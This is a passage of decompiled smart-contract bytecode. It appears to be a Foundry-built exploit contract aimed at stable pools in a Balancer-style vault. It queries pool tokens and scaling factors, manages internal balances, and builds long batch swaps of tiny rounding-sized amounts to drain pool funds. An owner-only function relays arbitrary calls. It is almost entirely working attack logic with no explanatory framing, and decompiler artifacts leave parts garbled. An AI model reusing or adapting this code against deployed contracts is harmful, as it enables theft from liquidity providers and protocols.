MEM[64] = MEM[64] + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(MEM[MEM[64]] <= uint64.max);
v44 = 0x33ee(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
require(MEM[MEM[64] + 32] <= uint64.max);
v45 = 0x3463(MEM[64] + MEM[MEM[64] + 32], MEM[64] + RETURNDATASIZE());
v46 = 0x2755(v45);
require(bool(stor_23_0_19.code.size));
v47, /* uint256 */ v48 = stor_23_0_19.getActualSupply().gas(msg.gas);
require(bool(v47), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
assert(10000);
v49 = 0x2a5f(v48 * stor_33 / 10000);
v50 = 0;
while (v50 < v46.length) {
assert(v50 < v46.length);
if (0 != v46[v50]) {
break;
} else {
v50 = v50 + 1;
}
v50 += 1;
}
if (stor_39_0_0) {
v51 = 1 + (v46.length + 3 * stor_32 + v49.length - v50);
require(v51 <= uint64.max);
v52 = v53 = new uint256[](v51);
if (v51) {
v54 = v53.data;
do {
v55 = new struct(5);
v55.word0 = uint256(0);
v55.word1 = 0;
v55.word2 = 0;
v55.word3 = 0;
v55.word4 = 96;
MEM[v54] = v55;
v54 += 32;
v51 = v51 - 1;
} while (v51);
}
} else {
v56 = v46.length + 3 * stor_32 + v49.length - v50;
require(v56 <= uint64.max);
v52 = new uint256[](v56);
if (v56) {
v57 = v52.data;
do {
v58 = new struct(5);
v58.word0 = uint256(0);
v58.word1 = 0;
v58.word2 = 0;
v58.word3 = 0;
v58.word4 = 96;
MEM[v57] = v58;
v57 += 32;
v56 = v56 - 1;
} while (v56);
}
}
v59 = 0;
while (v59 < v46.length) {
v60 = 0;
while (v60 < array_2c.length) {
assert(v59 + v60 < v46.length);
if (0 == v46[v59 + v60]) {
v59 = v59 + 1;
} else {
v61 = new struct(5);
v61.word0 = stor_24;
v61.word1 = stor_25;
assert(v60 < array_2c.length);
v61.word2 = uint8(array_2c[v60 >> 5] / (uint8.max + 1) ** (v60 % 32));
assert(v59 + v60 < v46.length);
v61.word3 = v46[v59 + v60];
require(0 <= uint64.max);
v62 = new struct(1);
v62.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v62.data, msg.data.length, 0);
v63 = v62.data;
}
v61.word4 = v62;
assert(v59 + v60 - v59 < MEM[v52]);
MEM[32 + (v59 + v60 - v59 << 5) + v52] = v61;
}
v60 += 1;
}
v59 += array_2c.length;
}
emit 0xb2e13ff20ac7b474198655583edf70dedd2c1dc980e329c4fbb2fc0748b796b('Done with amts1');
assert(10 ** 18);
assert(10000 * (stor_27 - 10 ** 18) / 10 ** 18);
stor_28 = 10000 / (10000 * (stor_27 - 10 ** 18) / 10 ** 18);
emit log_named_uint(0x4865726500000000, 10000 / (10000 * (stor_27 - 10 ** 18) / 10 ** 18));
emit log_named_address(0x48657265, address(this));
v64, v65 = 0x2b82();
v66 = 0;
while (v66 < 3 * stor_32) {
v67 = new struct(5);
v67.word0 = stor_24;
v67.word1 = stor_29;
v67.word2 = stor_26;
assert(3);
assert(v66 / 3 < MEM[v65]);
v67.word3 = MEM[32 + (v66 / 3 << 5) + v65];
require(0 <= uint64.max);
v68 = new struct(1);
v68.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v68.data, msg.data.length, 0);
v69 = v68.data;
}
v67.word4 = v68;
assert(v46.length - v59 + v66 < MEM[v52]);
MEM[32 + (v46.length - v59 + v66 << 5) + v52] = v67;
v70 = new struct(5);
v70.word0 = stor_24;
v70.word1 = stor_29;
v70.word2 = stor_26;
v70.word3 = stor_28;
require(0 <= uint64.max);
v71 = new struct(1);
v71.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v71.data, msg.data.length, 0);
v72 = v71.data;
}
v70.word4 = v71;
assert(1 + (v46.length - v59 + v66) < MEM[v52]);
MEM[32 + (1 + (v46.length - v59 + v66) << 5) + v52] = v70;
v73 = new struct(5);
v73.word0 = stor_24;
v73.word1 = stor_26;
v73.word2 = stor_29;
assert(3);
assert(v66 / 3 < MEM[v64]);
v73.word3 = MEM[32 + (v66 / 3 << 5) + v64];
require(0 <= uint64.max);
v74 = new struct(1);
v74.word0 = 0;
if (0) {
CALLDATACOPY(v74.data, msg.data.length, 0);
v75 = v74.data;
}
v73.word4 = v74;
assert(2 + (v46.length - v59 + v66) < MEM[v52]);
MEM[(2 + (v46.length - v59 + v66) << 5) + v52 + 32] = v73;
v66 += 3;
}
v76 = 0;
while (v76 < v49.length) {
v77 = new struct(5);
v77.word0 = stor_24;
assert(array_2c.length);
assert(v76 % array_2c.length < array_2c.length);
v77.word1 = uint8(array_2c[v76 % array_2c.length >> 5] / (uint8.max + 1) ** (v76 % array_2c.length % 32));
v77.word2 = stor_25;
assert(v76 < v49.length);
v77.word3 = v49[v76];
require(0 <= uint64.max);
v78 = new struct(1);
v78.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v78.data, msg.data.length, 0);
v79 = v78.data;
}
v77.word4 = v78;
assert(v46.length - v59 + 3 * stor_32 + v76 < MEM[v52]);
MEM[(v46.length - v59 + 3 * stor_32 + v76 << 5) + v52 + 32] = v77;
v76 += 1;
}
if (1 == stor_39_0_0) {
v80 = new struct(5);
v80.word0 = stor_24;
v80.word1 = stor_3a;
v80.word2 = stor_3b;
v80.word3 = stor_3c;
require(0 <= uint64.max);
v81 = new struct(1);
v81.word0 = 0;
if (0) {
CALLDATACOPY(v81.data, msg.data.length, 0);
v82 = v81.data;
}
v80.word4 = v81;
assert(v46.length - v59 + 3 * stor_32 + v49.length < MEM[v52]);
MEM[32 + (v46.length - v59 + 3 * stor_32 + v49.length << 5) + v52] = v80;
}
stor_39_0_0 = 0;
stor_3a = 0;
stor_3b = 0;
stor_3c = 0;
} else {
v83 = stor_26;
stor_26 = 1 + v83;
}
} else {
break;
}
}
throw();
}
function targetArtifacts() public nonPayable { find similar
v0 = new uint256[](_targetArtifacts.length);
v1 = v2 = v0.data;
v3 = v4 = 0;
while (v3 < _targetArtifacts.length) {
v5 = new bytes[](v6);
v6 = (_targetArtifacts[v3].length & (!(_targetArtifacts[v3].length & 0x1) << 8) - 1) >> 1;
v7 = v8 = v5.data;
if (v6) {
if (31 < v6) {
v9 = v10 = _targetArtifacts[v3].data;
while (v8 + v6 > v7) {
MEM[v7] = STORAGE[v9];
v9 += 1;
v7 += 32;
}
} else {
MEM[v8] = _targetArtifacts[v3].length >> 8 << 8;
}
}
MEM[v1] = v5;
v1 += 32;
v3 += 1;
}
v11 = new uint256[](v0.length);
v12 = 0;
v13 = v14 = v11.data;
v15 = v16 = v14 + (v0.length << 5);
v17 = v18 = v0.data;
while (v12 < v0.length) {
MEM[v13] = v15 - v14;
v19 = v20 = 0;
MEM[v15] = MEM[MEM[v17]];
while (v19 < MEM[MEM[v17]]) {
MEM[32 + (v19 + v15)] = MEM[32 + (MEM[v17] + v19)];
v19 += 32;
}
if (v19 > MEM[MEM[v17]]) {
MEM[v15 + MEM[MEM[v17]] + 32] = v20;
}
v15 = 32 + ((0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 31 + MEM[MEM[v17]]) + v15);
v13 += 32;
v17 += 32;
v12 += 1;
}
return v11;
}
function 0x8a4f75d6(address[] varg0) public nonPayable { find similar
v0 = v1 = 0;
require(msg.data.length - 4 >= 32, v1, v1);
require(varg0 <= uint64.max, v1, v1);
require(msg.data.length > 4 + varg0 + 31, v1, v1);
assert(varg0.length <= uint64.max);
v2 = new address[](varg0.length);
assert(!((v2 + ((varg0.length << 5) + 32) < v2) | (v2 + ((varg0.length << 5) + 32) > uint64.max)));
v3 = v4 = v2.data;
v5 = v6 = varg0.data;
require(msg.data.length >= 32 + (4 + varg0 + (varg0.length << 5)), v1, v1);
while (v0 < varg0.length) {
require(msg.data[v5] == address(msg.data[v5]));
MEM[v3] = msg.data[v5];
v0 += 1;
v3 += 32;
v5 += 32;
}
require(msg.sender == _callTx, Error(88));
v7 = v8 = 0;
while (1) {
if (v7 >= v2.length) {
exit;
} else {
emit log_named_uint(106, v7);
assert(v7 < v2.length);
emit log_named_address(0x506f6f6c, address(v2[v7]));
assert(v7 < v2.length);
stor_23_0_19 = v2[v7];
v9 = stor_23_0_19;
require(bool(v9.code.size));
v10, /* uint256 */ v11 = v9.getPoolId().gas(msg.gas);
require(bool(v10), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_24 = v11;
require(bool(stor_22_0_19.code.size));
v12, /* uint256 */ v13 = stor_22_0_19.getPoolTokens(v11).gas(msg.gas);
require(bool(v12), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(v13, 0, RETURNDATASIZE());
MEM[64] = v13 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(v13 + RETURNDATASIZE() - v13 >= 96);
require(MEM[v13] <= uint64.max);
v14 = 0x33ee(v13 + MEM[v13], v13 + RETURNDATASIZE());
require(MEM[v13 + 32] <= uint64.max);
v15 = 0x3463(v13 + MEM[v13 + 32], v13 + RETURNDATASIZE());
v16 = v17 = v14.length;
require(v17 <= uint64.max);
v18 = new uint256[](v17);
if (v17) {
v19 = v18.data;
do {
v20 = new struct(5);
v20.word0 = 0;
v20.word1 = 0;
v20.word2 = 0;
v20.word3 = 0;
v20.word4 = 0;
MEM[v19] = v20;
v19 += 32;
v16 = v16 - 1;
} while (v16);
}
MEM[MEM[64]] = 0xf5a6efa00000000000000000000000000000000000000000000000000000000;
MEM[4 + MEM[64]] = address(this);
MEM[4 + MEM[64] + 32] = 64;
v21 = v22 = 0;
MEM[4 + MEM[64] + 64] = v14.length;
v23 = v24 = 4 + MEM[64] + 64 + 32;
v25 = v26 = v14.data;
while (v21 < v14.length) {
MEM[v23] = address(MEM[v25]);
v23 += 32;
v25 += 32;
v21 += 1;
}
require(bool(stor_22_0_19.code.size));
v27, /* uint256 */ v28 = stor_22_0_19.staticcall(MEM[MEM[64]:MEM[64] + v38910x3859_0x6V0x3a18V0xa68V0x21b - MEM[64]], MEM[MEM[64]:MEM[64]]).gas(msg.gas);
require(bool(v27), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(v28, 0, RETURNDATASIZE());
MEM[64] = v28 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(v28 + RETURNDATASIZE() - v28 >= 32);
require(MEM[v28] <= uint64.max);
v29 = 0x3463(v28 + MEM[v28], v28 + RETURNDATASIZE());
v30 = v31 = 0;
while (v30 < v14.length) {
v32 = new struct(5);
v32.word0 = 1;
assert(v30 < v14.length);
v32.word1 = address(v14[v30]);
assert(v30 < v29.length);
v32.word2 = v29[v30];
v32.word3 = this;
v32.word4 = stor_20_0_19;
assert(v30 < v18.length);
v18[v30] = v32;
v30 += 1;
}
MEM[MEM[64]] = 0xe8e3e8400000000000000000000000000000000000000000000000000000000;
MEM[4 + MEM[64]] = 32;
MEM[36 + MEM[64]] = v18.length;
v33 = v34 = 0;
v35 = v36 = 4 + MEM[64] + 64;
v37 = v38 = v18.data;
while (v33 < v18.length) {
assert(MEM[MEM[v37]] < 4);
MEM[v35] = MEM[MEM[v37]];
MEM[v35 + 32] = address(MEM[32 + MEM[v37]]);
MEM[v35 + 64] = MEM[MEM[v37] + 64];
MEM[v35 + 96] = address(MEM[MEM[v37] + 96]);
MEM[v35 + 128] = address(MEM[128 + MEM[v37]]);
v35 = v35 + 160;
v37 += 32;
v33 += 1;
}
require(bool(stor_22_0_19.code.size));
v39 = stor_22_0_19.call(MEM[MEM[64]:MEM[64] + v39620x3bd3_0x3V0xba1V0x21b - MEM[64]], MEM[MEM[64]:MEM[64]]).gas(msg.gas);
require(bool(v39), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
v40 = v41 = 0;
while (v40 < v14.length) {
assert(v40 < v14.length);
MEM[MEM[64]] = 64;
MEM[MEM[64] + 64] = 9;
MEM[MEM[64] + 96] = 'mytoken i';
MEM[MEM[64] + 32] = address(v14[v40]);
emit log_named_address();
assert(v40 < v14.length);
MEM[MEM[64]] = 0x70a0823100000000000000000000000000000000000000000000000000000000;
MEM[4 + MEM[64]] = stor_20_0_19;
require(bool((address(v14[v40])).code.size));
v42 = address(v14[v40]).staticcall(MEM[MEM[64]:MEM[64] + 36 + MEM[64] - MEM[64]], MEM[MEM[64]:MEM[64] + 32]).gas(msg.gas);
require(bool(v42), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
assert(10 ** 18);
MEM[MEM[64]] = 64;
MEM[MEM[64] + 64] = 7;
MEM[MEM[64] + 96] = 'mybal i';
MEM[MEM[64] + 32] = MEM[MEM[64]] / 10 ** 18;
emit log_named_uint();
v40 += 1;
}
v7 = v7 + 1;
}
}
}
function targetSelectors() public nonPayable { find similar
v0 = new uint256[](_targetSelectors.length);
v1 = v2 = v0.data;
v3 = v4 = 0;
while (v3 < _targetSelectors.length) {
v5 = new struct(2);
v5.word0 = _targetSelectors[v3].field0_0_19;
MEM[MEM[64]] = _targetSelectors[v3].length;
v6 = v7 = MEM[64] + 32;
if (_targetSelectors[v3].length) {
v8 = v9 = _targetSelectors[v3].data;
v10 = v11 = 0;
while (v7 + (_targetSelectors[v3].length << 5) > v6) {
MEM[v6] = bytes4(STORAGE[v8] / (uint8.max + 1) ** v10 << 224);
v6 += 32;
v8 += 7 + v10 >> 5;
v10 = (4 + v10) * (1 - (7 + v10 >> 5));
}
}
v5.word1 = MEM[64];
MEM[v1] = v5;
v1 += 32;
v3 += 1;
}
v12 = new uint256[](v0.length);
v13 = 0;
v14 = v15 = v12.data;
v16 = v17 = 64 + (MEM[64] + (v0.length << 5));
v18 = v19 = v0.data;
while (v13 < v0.length) {
MEM[v14] = v16 - MEM[64] - 64;
MEM[v16] = address(MEM[MEM[v18]]);
MEM[v16 + 32] = 64;
v20 = v21 = 0;
MEM[v16 + 64] = MEM[MEM[32 + MEM[v18]]];
v16 = v16 + 64 + 32;
v22 = v23 = MEM[32 + MEM[v18]] + 32;
while (v20 < MEM[MEM[32 + MEM[v18]]]) {
MEM[v16] = bytes4(MEM[v22]);
v16 += 32;
v22 += 32;
v20 += 1;
}
v14 += 32;
v18 += 32;
v13 += 1;
}
return v12;
}
function excludeSelectors() public nonPayable { find similar
v0 = new uint256[](_excludeSelectors.length);
v1 = v2 = v0.data;
v3 = v4 = 0;
while (v3 < _excludeSelectors.length) {
v5 = new struct(2);
v5.word0 = _excludeSelectors[v3].field0_0_19;
MEM[MEM[64]] = _excludeSelectors[v3].length;
v6 = v7 = MEM[64] + 32;
if (_excludeSelectors[v3].length) {
v8 = v9 = _excludeSelectors[v3].data;
v10 = v11 = 0;
while (v7 + (_excludeSelectors[v3].length << 5) > v6) {
MEM[v6] = bytes4(STORAGE[v8] / (uint8.max + 1) ** v10 << 224);
v6 += 32;
v8 += 7 + v10 >> 5;
v10 = (4 + v10) * (1 - (7 + v10 >> 5));
}
}
v5.word1 = MEM[64];
MEM[v1] = v5;
v1 += 32;
v3 += 1;
}
v12 = new uint256[](v0.length);
v13 = 0;
v14 = v15 = v12.data;
v16 = v17 = 64 + (MEM[64] + (v0.length << 5));
v18 = v19 = v0.data;
while (v13 < v0.length) {
MEM[v14] = v16 - MEM[64] - 64;
MEM[v16] = address(MEM[MEM[v18]]);
MEM[v16 + 32] = 64;
v20 = v21 = 0;
MEM[v16 + 64] = MEM[MEM[32 + MEM[v18]]];
v16 = v16 + 64 + 32;
v22 = v23 = MEM[32 + MEM[v18]] + 32;
while (v20 < MEM[MEM[32 + MEM[v18]]]) {
MEM[v16] = bytes4(MEM[v22]);
v16 += 32;
v22 += 32;
v20 += 1;
}
v14 += 32;
v18 += 32;
v13 += 1;
}
return v12;
}
function excludeArtifacts() public nonPayable { find similar
v0 = new uint256[](_excludeArtifacts.length);
v1 = v2 = v0.data;
v3 = v4 = 0;
while (v3 < _excludeArtifacts.length) {
v5 = new bytes[](v6);
v6 = (_excludeArtifacts[v3].length & (!(_excludeArtifacts[v3].length & 0x1) << 8) - 1) >> 1;
v7 = v8 = v5.data;
if (v6) {
if (31 < v6) {
v9 = v10 = _excludeArtifacts[v3].data;
while (v8 + v6 > v7) {
MEM[v7] = STORAGE[v9];
v9 += 1;
v7 += 32;
}
} else {
MEM[v8] = _excludeArtifacts[v3].length >> 8 << 8;
}
}
MEM[v1] = v5;
v1 += 32;
v3 += 1;
}
v11 = new uint256[](v0.length);
v12 = 0;
v13 = v14 = v11.data;
v15 = v16 = v14 + (v0.length << 5);
v17 = v18 = v0.data;
while (v12 < v0.length) {
MEM[v13] = v15 - v14;
v19 = v20 = 0;
MEM[v15] = MEM[MEM[v17]];
while (v19 < MEM[MEM[v17]]) {
MEM[32 + (v19 + v15)] = MEM[32 + (MEM[v17] + v19)];
v19 += 32;
}
if (v19 > MEM[MEM[v17]]) {
MEM[v15 + MEM[MEM[v17]] + 32] = v20;
}
v15 = 32 + ((0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 31 + MEM[MEM[v17]]) + v15);
v13 += 32;
v17 += 32;
v12 += 1;
}
return v11;
}
function failed() public nonPayable { find similar
if (!_failed) {
require(bool(0x7109709ecfa91a80626ff3989d68f67f5b1dd12d.code.size));
v0, /* uint256 */ v1 = 0x7109709ecfa91a80626ff3989d68f67f5b1dd12d.staticcall(0x667f9d7000000000000000000000000000000000000000000000000000000000, address(0x885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d), 'failed').gas(msg.gas);
require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
v2 = v3 = v1 != 0;
} else {
v2 = _failed;
}
return bool(v2);
}
function 0x2755(uint256 varg0) private {
require(array_2c.length <= uint64.max);
v0 = new uint256[](array_2c.length);
if (array_2c.length) {
CALLDATACOPY(v0.data, msg.data.length, array_2c.length << 5);
}
v1 = v2 = 0;
while (v1 < array_2c.length) {
assert(v1 < array_2c.length);
assert(uint8(array_2c[v1 >> 5] / (uint8.max + 1) ** (v1 % 32)) < varg0.length);
assert(v1 < v0.length);
v0[v1] = varg0[uint8(array_2c[v1 >> 5] / (uint8.max + 1) ** (v1 % 32))] - stor_31;
v1 += 1;
}
v3 = v4 = 0;
while (v3 < v0.length) {
assert(v3 < v0.length);
v5 = v6 = v0[v3];
while (v5) {
v3 = v3 + 1;
assert(10 ** stor_34);
v5 = v5 / 10 ** stor_34;
}
v3 = v7 = 0;
v3 += 1;
}
require(v3 * array_2c.length <= uint64.max);
v8 = new uint256[](v3 * array_2c.length);
if (v3 * array_2c.length) {
CALLDATACOPY(v8.data, msg.data.length, v3 * array_2c.length << 5);
}
require(array_2c.length <= uint64.max);
v9 = new uint256[](array_2c.length);
if (array_2c.length) {
CALLDATACOPY(v9.data, msg.data.length, array_2c.length << 5);
}
v10 = v11 = 0;
while (v10 < v3 * array_2c.length) {
v12 = v13 = 0;
while (v12 < array_2c.length) {
assert(v12 < v0.length);
if (v0[v12] <= 10 ** stor_34) {
assert(v12 < v0.length);
assert(v12 < v9.length);
v9[v12] = v0[v12];
assert(v12 < v0.length);
v0[v12] = 0;
} else {
assert(v12 < v0.length);
assert(10 ** stor_34);
assert(v12 < v9.length);
v9[v12] = v0[v12] * (10 ** stor_34 - 1) / 10 ** stor_34;
assert(v12 < v9.length);
assert(v12 < v0.length);
assert(v12 < v0.length);
v0[v12] = v0[v12] - v9[v12];
}
assert(v12 < v9.length);
assert(v10 + v12 < v8.length);
v8[v10 + v12] = v9[v12];
v12 += 1;
}
v10 += array_2c.length;
}
return v8;
}
function callTx(address destination, uint256 value, bytes data) public payable { find similar
require(msg.data.length - 4 >= 96);
require(data <= uint64.max);
require(4 + data + 31 < msg.data.length);
require(data.length <= uint64.max);
require(4 + data + data.length + 32 <= msg.data.length);
require(msg.sender == _callTx, Error(88));
require(destination);
CALLDATACOPY(v0.data, data.data, data.length);
MEM[data.length + v0.data] = 0;
v1, /* uint256 */ v2 = destination.call(v0.data).value(value).gas(msg.gas);
if (RETURNDATASIZE() == 0) {
v3 = v4 = 96;
} else {
v3 = v5 = new bytes[](RETURNDATASIZE());
RETURNDATACOPY(v5.data, 0, RETURNDATASIZE());
}
require(v1);
v6 = v7 = 0;
while (v6 < MEM[v3]) {
MEM[32 + (v6 + (MEM[64] + 32))] = MEM[32 + (v3 + v6)];
v6 += 32;
}
if (v6 > MEM[v3]) {
MEM[MEM[64] + 32 + MEM[v3] + 32] = v7;
}
return 32, MEM[v3];
}
function 0x2a5f(uint256 varg0) private {
emit log_named_uint(29779, varg0);
v0 = v1 = 0;
while (10 ** (stor_35 + stor_36 * v0) < varg0) {
v0 += 1;
}
require(v0 + array_2c.length <= uint64.max);
v2 = new uint256[](v0 + array_2c.length);
if (v0 + array_2c.length) {
CALLDATACOPY(v2.data, msg.data.length, v0 + array_2c.length << 5);
}
v3 = v4 = 0;
while (v3 < v0) {
assert(v3 < v2.length);
v2[v3] = 10 ** (stor_35 + stor_36 * v3);
v3 += 1;
}
v5 = v6 = 0;
while (v5 < array_2c.length) {
assert(v0 - 1 < v2.length);
assert(array_2c.length);
assert(v5 + v0 < v2.length);
v2[v5 + v0] = 1 + (varg0 - v2[v0 - 1]) / array_2c.length;
v5 += 1;
}
return v2;
}
function excludeContracts() public nonPayable { find similar
v0 = new address[](_excludeContracts.length);
if (_excludeContracts.length) {
MEM[v0.data] = _excludeContracts;
v1 = v2 = keccak256(21) + 1;
v3 = v4 = 32 + v0.data;
if (v0.data + (_excludeContracts.length << 5) > v4) {
while (v0.data + (_excludeContracts.length << 5) > v3) {
MEM[v3] = address(STORAGE[v1]);
v1 = v1 + 1;
v3 += 32;
}
}
}
v5 = new address[](v0.length);
v6 = v7 = 0;
v8 = v9 = v5.data;
v10 = v11 = v0.data;
while (v6 < v0.length) {
MEM[v8] = address(MEM[v10]);
v8 += 32;
v10 += 32;
v6 += 1;
}
return v5;
}
function 0x2b82() private {
v0 = v1 = 96;
require(stor_32 <= uint64.max);
v0 = v2 = new uint256[](stor_32);
if (stor_32) {
CALLDATACOPY(v2.data, msg.data.length, stor_32 << 5);
}
require(stor_32 <= uint64.max);
v0 = v3 = new uint256[](stor_32);
if (stor_32) {
CALLDATACOPY(v3.data, msg.data.length, stor_32 << 5);
}
require(bool(stor_23_0_19.code.size));
v4, /* uint256 */ v5 = stor_23_0_19.getScalingFactors().gas(msg.gas);
require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(v5, 0, RETURNDATASIZE());
require(v5 + RETURNDATASIZE() - v5 >= 32);
require(MEM[v5] <= uint64.max);
v0 = v6 = 0x3463(v5 + MEM[v5], v5 + RETURNDATASIZE());
require(array_2c.length <= uint64.max);
v0 = v7 = new uint256[](array_2c.length);
if (array_2c.length) {
CALLDATACOPY(v7.data, msg.data.length, array_2c.length << 5);
}
require(array_2c.length <= uint64.max);
v0 = v8 = new uint256[](array_2c.length);
if (array_2c.length) {
CALLDATACOPY(v8.data, msg.data.length, array_2c.length << 5);
}
v9 = v10 = 0;
while (v9 < v7.length) {
assert(v9 < v7.length);
v7[v9] = stor_31;
assert(v9 < array_2c.length);
assert(uint8(array_2c[v9 >> 5] / (uint8.max + 1) ** (v9 % 32)) < v6.length);
assert(v9 < v8.length);
v8[v9] = v6[uint8(array_2c[v9 >> 5] / (uint8.max + 1) ** (v9 % 32))];
v9 += 1;
}
if (stor_26 < stor_25) {
v0 = v11 = stor_26;
} else {
v0 = v12 = stor_26 - 1;
}
if (stor_29 < stor_25) {
v0 = v13 = stor_29;
} else {
v0 = v14 = stor_29 - 1;
}
v0 = v15 = 0;
v0 = v16 = 96;
v0 = v17 = 0;
while (v0 < stor_32) {
assert(v0 < MEM[v0]);
assert(v0 < MEM[v0]);
MEM[32 + (v0 << 5) + v0] = MEM[32 + (v0 << 5) + v0] - stor_28 - 1;
assert(v0 < MEM[v0]);
v18 = MEM[32 + (v0 << 5) + v0];
v19 = new uint256[](MEM[v0]);
v20 = v21 = 0;
v22 = v23 = v19.data;
v24 = v25 = v0 + 32;
while (v20 < MEM[v0]) {
MEM[v22] = MEM[v24];
v22 += 32;
v24 += 32;
v20 += 1;
}
v22 = new uint256[](MEM[v0]);
v26 = v27 = 0;
v28 = v29 = v22.data;
v30 = v31 = v0 + 32;
while (v26 < MEM[v0]) {
MEM[v28] = MEM[v30];
v28 += 32;
v30 += 32;
v26 += 1;
}
require(bool(stor_21_0_19.code.size));
v32, /* uint256 */ v33 = stor_21_0_19.call(uint32(0x524c9e20), v19, v22, v0, v0, v18, stor_2a, stor_2b).gas(msg.gas);
require(bool(v32), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(v33, 0, RETURNDATASIZE());
MEM[64] = v33 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(v33 + RETURNDATASIZE() - v33 >= 32);
require(MEM[v33] <= uint64.max);
v34 = 0x3463(v33 + MEM[v33], v33 + RETURNDATASIZE());
v35 = new uint256[](v34.length);
v36 = v37 = 0;
v38 = v39 = v35.data;
v40 = v41 = v34.data;
while (v36 < v34.length) {
MEM[v38] = MEM[v40];
v38 += 32;
v40 += 32;
v36 += 1;
}
v38 = new uint256[](MEM[v0]);
v42 = v43 = 0;
v44 = v45 = v38.data;
v46 = v47 = v0 + 32;
while (v42 < MEM[v0]) {
MEM[v44] = MEM[v46];
v44 += 32;
v46 += 32;
v42 += 1;
}
require(bool(stor_21_0_19.code.size));
v48, /* uint256 */ v49 = stor_21_0_19.call(0x524c9e2000000000000000000000000000000000000000000000000000000000, v35, v38, v0, v0, stor_28, stor_2a, stor_2b).gas(msg.gas);
require(bool(v48), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(v49, 0, RETURNDATASIZE());
MEM[64] = v49 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(v49 + RETURNDATASIZE() - v49 >= 32);
require(MEM[v49] <= uint64.max);
v0 = v50 = 0x3463(v49 + MEM[v49], v49 + RETURNDATASIZE());
assert(v0 < v50.length);
v51 = v52 = v50[v0];
v53 = v54 = 0;
while (v51 >= 100) {
v51 = v51 / 10;
v53 += 1;
}
assert(v0 < MEM[v0]);
MEM[32 + (v0 << 5) + v0] = v51 * 10 ** v53;
assert(v0 < MEM[v0]);
v55 = MEM[32 + (v0 << 5) + v0];
v56 = new uint256[](v50.length);
v57 = v58 = 0;
v59 = v60 = v56.data;
v61 = v62 = v50.data;
while (v57 < v50.length) {
MEM[v59] = MEM[v61];
v59 += 32;
v61 += 32;
v57 += 1;
}
v59 = new uint256[](MEM[v0]);
v63 = v64 = 0;
v65 = v66 = v59.data;
v67 = v68 = v0 + 32;
while (v63 < MEM[v0]) {
MEM[v65] = MEM[v67];
v65 += 32;
v67 += 32;
v63 += 1;
}
require(bool(stor_21_0_19.code.size));
v69 = v70 = stor_21_0_19.call(uint32(0x524c9e20), v56, v59, v0, v0, v55, stor_2a, stor_2b).gas(msg.gas);
if (v70) {
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
MEM[64] = MEM[64] + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
v0 = v71 = 0x3463(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
v69 = v72 = 1;
}
if (!v69) {
assert(v0 < MEM[v0]);
assert(10);
assert(v0 < MEM[v0]);
MEM[32 + (v0 << 5) + v0] = 9 * MEM[32 + (v0 << 5) + v0] / 10;
assert(v0 < MEM[v0]);
MEM[MEM[64]] = 0x524c9e2000000000000000000000000000000000000000000000000000000000;
MEM[4 + MEM[64]] = 224;
v73 = v74 = 0;
MEM[4 + MEM[64] + 224] = MEM[v0];
v75 = v76 = 4 + MEM[64] + 224 + 32;
v77 = v78 = v0 + 32;
while (v73 < MEM[v0]) {
MEM[v75] = MEM[v77];
v75 += 32;
v77 += 32;
v73 += 1;
}
MEM[4 + MEM[64] + 32] = v75 - (4 + MEM[64]);
v79 = v80 = 0;
MEM[v75] = MEM[v0];
v81 = v82 = v75 + 32;
v83 = v84 = v0 + 32;
while (v79 < MEM[v0]) {
MEM[v81] = MEM[v83];
v81 += 32;
v83 += 32;
v79 += 1;
}
MEM[4 + MEM[64] + 64] = v0;
MEM[4 + MEM[64] + 96] = v0;
MEM[4 + MEM[64] + 128] = MEM[32 + (v0 << 5) + v0];
MEM[4 + MEM[64] + 160] = stor_2a;
MEM[4 + MEM[64] + 192] = stor_2b;
require(bool(stor_21_0_19.code.size));
v85 = v86 = stor_21_0_19.call(MEM[MEM[64]:MEM[64] + v38910x38ed_0x6V0x3c5fV0x3108 - MEM[64]], MEM[MEM[64]:MEM[64]]).gas(msg.gas);
if (v86) {
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
MEM[64] = MEM[64] + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
